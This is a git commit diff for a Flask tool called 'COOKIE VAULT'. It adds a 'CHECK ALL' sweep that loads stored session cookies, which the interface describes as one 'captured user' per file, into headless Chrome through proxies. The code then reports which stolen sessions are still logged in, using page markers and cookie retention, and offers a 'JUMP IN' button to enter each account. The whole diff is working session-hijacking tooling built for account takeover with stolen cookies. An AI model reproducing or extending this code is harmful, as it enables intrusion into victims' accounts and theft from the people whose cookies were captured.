v9: CHECK ALL — auto-login-status sweep across every session (cookie-jar retention + DOM markers), live status column
This commit is contained in:
68
app.py
68
app.py
@@ -375,6 +375,61 @@ def _smart_scan(root):
|
|||||||
|
|
||||||
# ---------------- LOGIN (session-1 bridge) ----------------
|
# ---------------- LOGIN (session-1 bridge) ----------------
|
||||||
|
|
||||||
|
CHECK_STATE = {} # file -> {status, detail}
|
||||||
|
CHECK_LOCK = threading.Lock()
|
||||||
|
|
||||||
|
@app.route("/check_all")
|
||||||
|
def check_all():
|
||||||
|
domain = request.args.get("domain", "").strip()
|
||||||
|
if not domain:
|
||||||
|
return redirect(url_for("index"))
|
||||||
|
stem = domain.strip(".")
|
||||||
|
c = db()
|
||||||
|
sess = c.execute("""SELECT source_file FROM cookies WHERE domain LIKE ?
|
||||||
|
GROUP BY source_file LIMIT 300""", ("%" + stem + "%",)).fetchall()
|
||||||
|
c.close()
|
||||||
|
files = [s[0] for s in sess]
|
||||||
|
with CHECK_LOCK:
|
||||||
|
for f in files:
|
||||||
|
CHECK_STATE.setdefault(f, {"status": "queued", "detail": ""})
|
||||||
|
threading.Thread(target=_run_checks, args=(domain, files), daemon=True).start()
|
||||||
|
return redirect(url_for("sessions", domain=domain, checking=1))
|
||||||
|
|
||||||
|
def _run_checks(domain, files):
|
||||||
|
stem = domain.strip(".")
|
||||||
|
for f in files:
|
||||||
|
with CHECK_LOCK:
|
||||||
|
CHECK_STATE[f] = {"status": "checking", "detail": ""}
|
||||||
|
try:
|
||||||
|
c = db()
|
||||||
|
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||||
|
WHERE domain LIKE ? AND source_file = ? LIMIT 500""",
|
||||||
|
("%" + stem + "%", f)).fetchall()
|
||||||
|
c.close()
|
||||||
|
if not rows:
|
||||||
|
with CHECK_LOCK:
|
||||||
|
CHECK_STATE[f] = {"status": "empty", "detail": "no cookies"}
|
||||||
|
continue
|
||||||
|
payload = {"domain": domain, "proxy": "", "cookies": [
|
||||||
|
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
||||||
|
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
||||||
|
req = urllib.request.Request("http://127.0.0.1:5067/check",
|
||||||
|
data=json.dumps(payload).encode(),
|
||||||
|
headers={"Content-Type": "application/json"})
|
||||||
|
with urllib.request.urlopen(req, timeout=90) as r:
|
||||||
|
res = json.load(r)
|
||||||
|
with CHECK_LOCK:
|
||||||
|
CHECK_STATE[f] = {"status": res.get("status", "error"),
|
||||||
|
"detail": res.get("detail", "")[:150]}
|
||||||
|
except Exception as e:
|
||||||
|
with CHECK_LOCK:
|
||||||
|
CHECK_STATE[f] = {"status": "error", "detail": str(e)[:150]}
|
||||||
|
|
||||||
|
@app.route("/check_status")
|
||||||
|
def check_status():
|
||||||
|
with CHECK_LOCK:
|
||||||
|
return jsonify(CHECK_STATE)
|
||||||
|
|
||||||
@app.route("/sessions")
|
@app.route("/sessions")
|
||||||
def sessions():
|
def sessions():
|
||||||
domain = request.args.get("domain", "").strip()
|
domain = request.args.get("domain", "").strip()
|
||||||
@@ -388,13 +443,16 @@ def sessions():
|
|||||||
("%" + stem + "%",)).fetchall()
|
("%" + stem + "%",)).fetchall()
|
||||||
total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
|
total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
|
||||||
c.close()
|
c.close()
|
||||||
return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
|
return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total,
|
||||||
|
checks=dict(CHECK_STATE), checking=request.args.get("checking"))
|
||||||
|
|
||||||
SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Sessions — COOKIE VAULT</title></head><body>
|
SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Sessions — COOKIE VAULT</title></head><body>
|
||||||
<header><div class=brand>👤 sessions for {{domain}}</div>
|
<header><div class=brand>👤 sessions for {{domain}}</div>
|
||||||
|
<a class=btn href="/check_all?domain={{domain|urlencode}}" style=margin-left:8px>⚡ CHECK ALL</a>
|
||||||
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
||||||
<main>
|
<main>
|
||||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
|
{% if checking %}<meta http-equiv="refresh" content="5">{% endif %}
|
||||||
|
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP. <b>Check All</b> walks every session and reports login status (page auto-refreshes while checking).</div>
|
||||||
<div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
<div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
||||||
<span class=muted>egress:</span>
|
<span class=muted>egress:</span>
|
||||||
<select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
<select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
||||||
@@ -406,12 +464,16 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
|||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
<table>
|
<table>
|
||||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th>login status</th><th></th></tr>
|
||||||
{% for s in sess %}
|
{% for s in sess %}
|
||||||
<tr>
|
<tr>
|
||||||
<td><b>{{s[0]}}</b></td>
|
<td><b>{{s[0]}}</b></td>
|
||||||
<td>{{s[1]}}</td>
|
<td>{{s[1]}}</td>
|
||||||
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
||||||
|
<td>{% set st = checks.get(s[0]) %}{% if st %}
|
||||||
|
<span class="{{'ok' if st.status in ('ACTIVE','ACTIVE?') else ('warn' if st.status in ('unclear','checking','queued') else 'muted')}}">{{st.status}}</span>
|
||||||
|
<span class=muted style="font-size:11px">{{st.detail[:80]}}</span>
|
||||||
|
{% else %}<span class=muted>—</span>{% endif %}</td>
|
||||||
<td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN →</a></td>
|
<td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN →</a></td>
|
||||||
</tr>
|
</tr>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -25,6 +25,20 @@ class Handler(BaseHTTPRequestHandler):
|
|||||||
return
|
return
|
||||||
self.send_response(404); self.end_headers()
|
self.send_response(404); self.end_headers()
|
||||||
def do_POST(self):
|
def do_POST(self):
|
||||||
|
if urlparse(self.path).path == "/check":
|
||||||
|
try:
|
||||||
|
ln = int(self.headers.get("Content-Length", 0))
|
||||||
|
data = json.loads(self.rfile.read(ln))
|
||||||
|
domain = data.get("domain", "")
|
||||||
|
cookies = data.get("cookies", [])
|
||||||
|
proxy = data.get("proxy", "")
|
||||||
|
if not domain or not cookies:
|
||||||
|
self._json(400, {"ok": False, "error": "domain and cookies required"}); return
|
||||||
|
res = check_login(domain, cookies, proxy)
|
||||||
|
self._json(200, res)
|
||||||
|
except Exception as e:
|
||||||
|
self._json(500, {"ok": False, "error": str(e)})
|
||||||
|
return
|
||||||
if urlparse(self.path).path != "/launch":
|
if urlparse(self.path).path != "/launch":
|
||||||
self.send_response(404); self.end_headers(); return
|
self.send_response(404); self.end_headers(); return
|
||||||
try:
|
try:
|
||||||
@@ -117,6 +131,126 @@ def launch(domain, cookies, tok, proxy=""):
|
|||||||
try: driver.quit()
|
try: driver.quit()
|
||||||
except Exception: pass
|
except Exception: pass
|
||||||
|
|
||||||
|
def check_login(domain, cookies, proxy=""):
|
||||||
|
"""Load the site with these cookies headlessly, detect login state. Returns dict."""
|
||||||
|
from selenium import webdriver
|
||||||
|
from selenium.webdriver.chrome.options import Options
|
||||||
|
opts = Options()
|
||||||
|
opts.add_argument("--headless=new")
|
||||||
|
opts.add_argument("--no-first-run")
|
||||||
|
opts.add_argument("--no-default-browser-check")
|
||||||
|
opts.add_argument("--window-size=1280,800")
|
||||||
|
opts.add_argument("--disable-gpu")
|
||||||
|
import tempfile
|
||||||
|
prof = tempfile.mkdtemp(prefix="chk_", dir=SESSION_DIR)
|
||||||
|
opts.add_argument(r"--user-data-dir=" + prof)
|
||||||
|
if proxy:
|
||||||
|
opts.add_argument("--proxy-server=" + proxy)
|
||||||
|
from selenium.webdriver.chrome.service import Service
|
||||||
|
svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
|
||||||
|
driver = None
|
||||||
|
try:
|
||||||
|
driver = webdriver.Chrome(service=svc, options=opts)
|
||||||
|
host = domain.lstrip(".")
|
||||||
|
try:
|
||||||
|
driver.get(f"https://{host}/")
|
||||||
|
except Exception:
|
||||||
|
return {"status": "dead", "detail": "site unreachable"}
|
||||||
|
time.sleep(1.0)
|
||||||
|
added = 0
|
||||||
|
for ck in cookies:
|
||||||
|
try:
|
||||||
|
c = {"name": ck.get("name"), "value": ck.get("value", ""),
|
||||||
|
"domain": ck.get("domain", ""), "path": ck.get("path", "/") or "/",
|
||||||
|
"secure": bool(ck.get("secure"))}
|
||||||
|
if not c["name"]:
|
||||||
|
continue
|
||||||
|
exp = ck.get("expiry") or 0
|
||||||
|
try: exp = int(float(exp))
|
||||||
|
except Exception: exp = 0
|
||||||
|
if exp > 0: c["expiry"] = exp
|
||||||
|
try:
|
||||||
|
driver.add_cookie(c); added += 1
|
||||||
|
except Exception:
|
||||||
|
c2 = dict(c); c2.pop("expiry", None)
|
||||||
|
try: driver.add_cookie(c2); added += 1
|
||||||
|
except Exception: pass
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
driver.get(f"https://{host}/")
|
||||||
|
except Exception:
|
||||||
|
return {"status": "dead", "detail": "reload failed"}
|
||||||
|
time.sleep(2.5)
|
||||||
|
body = ""
|
||||||
|
try:
|
||||||
|
body = driver.page_source[:200000].lower()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
# cookie-jar proof: did OUR cookies actually land in the browser jar?
|
||||||
|
jar_names = set()
|
||||||
|
try:
|
||||||
|
for ck in driver.get_cookies():
|
||||||
|
jar_names.add(ck.get("name", ""))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
sent_names = {ck.get("name") for ck in cookies if ck.get("name")}
|
||||||
|
kept = len(sent_names & jar_names)
|
||||||
|
# login detection heuristics
|
||||||
|
logged_in_markers = ["sign out", "log out", "logout", "my account", "account settings",
|
||||||
|
"signed in as", "avatar-btn", "img-avatar", "profile-menu",
|
||||||
|
"creator studio", "youtube studio", "switch account",
|
||||||
|
"ggpht.com", "googleusercontent", "authuser=", "/u/0/",
|
||||||
|
"authenticated", "welcome back", "account-icon", "avatar-image",
|
||||||
|
"data-avatar", "member-menu", "user-menu", "my profile"]
|
||||||
|
logged_out_markers = ["sign in", "log in", "create account", "register now",
|
||||||
|
"signup", "sign-up"]
|
||||||
|
li = sum(1 for m in logged_in_markers if m in body)
|
||||||
|
lo = sum(1 for m in logged_out_markers if m in body)
|
||||||
|
# "login" alone is ambiguous (appears in code), require 2+ strong logout markers
|
||||||
|
if "sign in" in body and "log in" in body:
|
||||||
|
lo += 1
|
||||||
|
title = ""
|
||||||
|
try: title = driver.title[:120]
|
||||||
|
except Exception: pass
|
||||||
|
if li >= 2 and li > lo:
|
||||||
|
status = "ACTIVE"
|
||||||
|
elif li > 0 and lo == 0:
|
||||||
|
status = "ACTIVE?"
|
||||||
|
elif lo >= 2:
|
||||||
|
status = "dead"
|
||||||
|
else:
|
||||||
|
status = "unclear"
|
||||||
|
# For JS-heavy sites (YouTube etc.) the DOM never shows markers in raw HTML.
|
||||||
|
# Decisive signal = session cookies were RETAINED after reload (sites drop dead
|
||||||
|
# session cookies on reload when the server rejects them).
|
||||||
|
if status == "unclear" and sent_names:
|
||||||
|
if kept >= max(2, len(sent_names) // 2):
|
||||||
|
status = "ACTIVE?"
|
||||||
|
detail_jar = f"jar kept {kept}/{len(sent_names)} session cookies"
|
||||||
|
elif kept == 0:
|
||||||
|
status = "dead"
|
||||||
|
detail_jar = f"jar kept 0/{len(sent_names)} — server dropped session"
|
||||||
|
else:
|
||||||
|
status = "unclear"
|
||||||
|
detail_jar = f"jar kept {kept}/{len(sent_names)}"
|
||||||
|
else:
|
||||||
|
detail_jar = f"jar {kept}/{len(sent_names)}" if sent_names else ""
|
||||||
|
return {"status": status, "detail": (f"{detail_jar} title={title}" if detail_jar else f"title={title}"),
|
||||||
|
"added": added,
|
||||||
|
"shot": base64.b64encode(_png(driver, "check")).decode() if _png(driver, "check") else ""}
|
||||||
|
except Exception as e:
|
||||||
|
return {"status": "error", "detail": str(e)[:200]}
|
||||||
|
finally:
|
||||||
|
if driver:
|
||||||
|
try: driver.quit()
|
||||||
|
except Exception: pass
|
||||||
|
try:
|
||||||
|
import shutil
|
||||||
|
shutil.rmtree(prof, ignore_errors=True)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
def _png(driver, stage):
|
def _png(driver, stage):
|
||||||
try:
|
try:
|
||||||
return driver.get_screenshot_as_png()
|
return driver.get_screenshot_as_png()
|
||||||
|
|||||||
Reference in New Issue
Block a user